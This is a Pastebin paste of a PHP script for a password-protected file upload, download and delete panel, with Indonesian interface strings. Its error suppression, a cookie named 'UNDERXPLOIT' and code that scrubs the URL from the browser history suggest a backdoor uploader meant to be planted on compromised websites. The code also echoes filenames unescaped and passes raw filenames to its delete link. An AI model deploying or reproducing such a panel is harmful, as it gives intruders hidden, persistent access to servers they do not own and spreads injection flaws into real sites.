Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- ob_start('ob_gzhandler');
- session_start();
- $username = '@#';
- $password = '@#';
- function pac($str) {
- echo $str;
- }
- pac("<html><head>
- <title>Login</title>
- <meta name='viewport' content='width=device-width, initial-scale=1.0'>
- <style>
- @import url('https://fonts.googleapis.com/css?family=Cabin');
- *{
- padding: 0;
- margin: 0;
- box-sizing:border-box;
- }
- body {
- margin:auto;
- background: #191919;
- font-family: 'Cabin';
- -webkit-font-smoothing:antialiased;
- font-size: 14px;
- color:#fff;
- text-shadow:0px 0px 0px #343436;
- }
- *:focus {
- outline: 0;
- }
- .content {
- margin:10px;
- background:#222;
- padding:7px;
- color:#fff;
- box-shadow:0px 1px 1px rgba(0,0,0,0.1) inset;
- border-radius:5px;
- max-width:350px;
- }
- input[type=text], input[type=password] {
- padding:7px;
- font-size:14px;
- font-family: 'Cabin';
- width:100%;
- border:1px solid #343436;
- background:none;
- color: #FA5A5A;
- }
- input[type=text]:hover, input[type=password]:hover {
- border:1px solid #FA5A5A;
- transition: all 0.5s;
- }
- button {
- padding:7px;
- font-size:14px;
- font-family: 'Cabin';
- background:#FA5A5A;
- width:100px;
- border:1px solid #FA5A5A;
- }
- button:hover {
- background:none;
- color:#FA5A5A;
- border:1px solid #FA5A5A;
- transition: all 0.5s;
- }
- .top5 {
- margin-top: 5px;
- }
- hr {
- border: 0;
- height: 1px;
- background-image: -webkit-linear-gradient(left, #FA5A5A, #FA5A5A, #FA5A5A);
- background-image: -moz-linear-gradient(left, #FA5A5A, #FA5A5A, #FA5A5A);
- background-image: -ms-linear-gradient(left, #FA5A5A, #FA5A5A, #FA5A5A);
- background-image: -o-linear-gradient(left, #FA5A5A, #FA5A5A, #FA5A5A);
- }
- h3 {
- font-weight:500;
- }
- </style></head></body>");
- function form() {
- pac("<form action='' method='post'>
- <table>
- <td>Username :</td>
- <td><input name='user' type='text'></td><tr>
- <td>Password :</td>
- <td><input name='pass' type='password'></td>
- <tr>
- <td></td><td><button name='login'>Login!</button></td></table>
- </form>");
- }
- pac("<script>
- baseUrl = window.location.href.split('?')[0];
- window.history.pushState('name', '?', baseUrl);
- </script>");
- if(isset($_GET['out'])) {
- setcookie('UNDERXPLOIT', time() - 3600);
- unset($_SESSION['username']);
- }
- pac('<div class="container">');
- if(isset($_POST['login'])) {
- if($_POST['user'] == $username AND $_POST['pass'] == $password) {
- $_SESSION['username'] = $username;
- $_COOKIE[$username] = $password;
- setcookie('UNDERXPLOIT', md5($_SERVER['HTTP_HOST']));
- } else if(empty($_POST['user']) || empty($_POST['pass'])) {
- pac('<div class="content">Form Can\'t be Empty !!</div>');
- } else {
- pac('<div class="content">Invalid Username or Password !!</div>');
- }
- }
- pac('<div class="content"><center><br><h3>LOGIN</h3><br><hr><br></center>');
- if($_SESSION['username'] == $username) {
- pac('<!DOCTYPE html>
- <html>
- <head>
- <!-- Latest compiled and minified CSS -->
- <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
- <!-- Optional theme -->
- <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
- <!-- Latest compiled and minified JavaScript -->
- <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
- <title>Upload Download File</title>
- <script type="text/javascript">
- function checkSize(max_img_size)
- { var input = document.getElementById("fileupload");
- if(input.files && input.files.length == 1)
- { if (input.files[0].size > max_img_size)
- { alert("Ukuran file harus di bawah "
- + (max_img_size/1024/1024) + " MB");
- return false;
- }
- }
- return true;
- }
- </script>
- </head>
- <style>
- body {
- margin:auto;
- background: #191919;
- font-family: 'Cabin';
- -webkit-font-smoothing:antialiased;
- font-size: 14px;
- color:#fff;
- text-shadow:0px 0px 0px #343436;
- }
- </style>
- <body><br><br><br><strong>
- <center>
- <form enctype="multipart/form-data" action="uploader.php" method="post"
- onsubmit="return checkSize(10488999998998576);">
- Choose a file to upload: <input name="uploadedfile" type="file" id="fileupload" /><br />
- <input type="submit" value="Upload File" class="btn btn-primary btn-sm" />
- </form>
- </center>
- <br/>
- <table class="table table-bordered table-dark">
- <thead><tr>
- <th>File Name</th>
- <th>Upload Date</th>
- <th>Type</th>
- <th>Size</th>
- <th>Delete</th>
- </tr>
- </thead>');
- if ($handle = opendir('./s/'))
- { while (false !== ($file = readdir($handle)))
- { if($file!=="." && $file !=="..")
- { echo "<tr><td><a href=\"download.php?id=" . urlencode($file). "\">$file</a></td>";
- echo "<td>" . date ("d/m/Y H:i", filemtime("s/".$file)) . "</td>";
- echo "<td>" . pathinfo("s/".$file, PATHINFO_EXTENSION) . " file </td>";
- echo "<td>" . round(filesize("s/".$file)/1024) . " KB</td>";
- echo "<td><a href=\"hapus.php?id=$file\">Del</a></td></tr>";
- }
- }
- closedir($handle);
- }
- pac('
- </table>
- </div>
- </body>
- </html>
- <a href="?out">./Logout</a><br>');
- } else {
- form();
- }
- pac("<br><hr></div></div>");
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement